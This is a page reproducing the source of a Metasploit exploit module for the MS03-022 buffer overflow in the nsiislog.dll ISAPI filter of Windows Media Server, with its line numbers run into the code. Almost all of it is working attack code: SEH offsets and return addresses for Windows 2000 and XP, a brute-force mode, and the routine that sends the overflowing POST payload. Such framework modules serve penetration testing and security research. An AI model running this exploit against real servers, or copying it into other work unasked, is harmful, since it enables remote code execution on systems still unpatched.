Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::BruteTargets10include Msf::Exploit::Remote::Seh1112def initialize(info = {})13super(update_info(info,14'Name' => 'MS03-022 Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',15'Description' => %q{16This exploits a buffer overflow found in the nsiislog.dll17ISAPI filter that comes with Windows Media Server. This18module will also work against the 'patched' MS03-01919version. This vulnerability was addressed by MS03-022.20},21'Author' => [ 'hdm' ],22'License' => MSF_LICENSE,23'References' =>24[25[ 'CVE', '2003-0349'],26[ 'OSVDB', '4535'],27[ 'BID', '8035'],28[ 'MSB', 'MS03-022'],29[ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],30],31'Privileged' => false,32'Payload' =>33{34'Space' => 1024,35'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",36'StackAdjustment' => -3500,3738},39'Platform' => 'win',40'Targets' =>41[42# SEH offsets by version (Windows 2000)43# 4.1.0.3917 = 999244# 4.1.0.3920 = 999245# 4.1.0.3927 = 999246# 4.1.0.3931 = 140924748['Brute Force', { }],49['Windows 2000 -MS03-019', { 'Rets' => [ 9988, 0x40f01333 ] }],50['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],51['Windows XP -MS03-019', { 'Rets' => [ 9992, 0x40f011e0 ] }],52],53'DisclosureDate' => '2003-06-25',54'DefaultTarget' => 0))5556register_options(57[58OptString.new('URL', [ true, "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),59])60end6162def check63res = send_request_raw({64'uri' => normalize_uri(datastore['URL'])65}, -1)6667if (res and res.body =~ /NetShow ISAPI/)68return Exploit::CheckCode::Detected69end70return Exploit::CheckCode::Safe71end7273def exploit_target(target)7475# Create a buffer greater than max SEH offset (16384)76pst = rand_text_alphanumeric(256) * 647778# Create SEH frame and insert into buffer79seh = generate_seh_payload(target['Rets'][1])80pst[target['Rets'][0], seh.length] = seh8182# Send it to the server83print_status("Sending request...")84res = send_request_cgi({85'uri' => normalize_uri(datastore['URL']),86'method' => 'POST',87'user-agent' => 'NSPlayer/2.0',88'content-type' => 'application/x-www-form-urlencoded',89'data' => pst90}, 5)9192select(nil,nil,nil,1)9394handler95disconnect96end97end9899100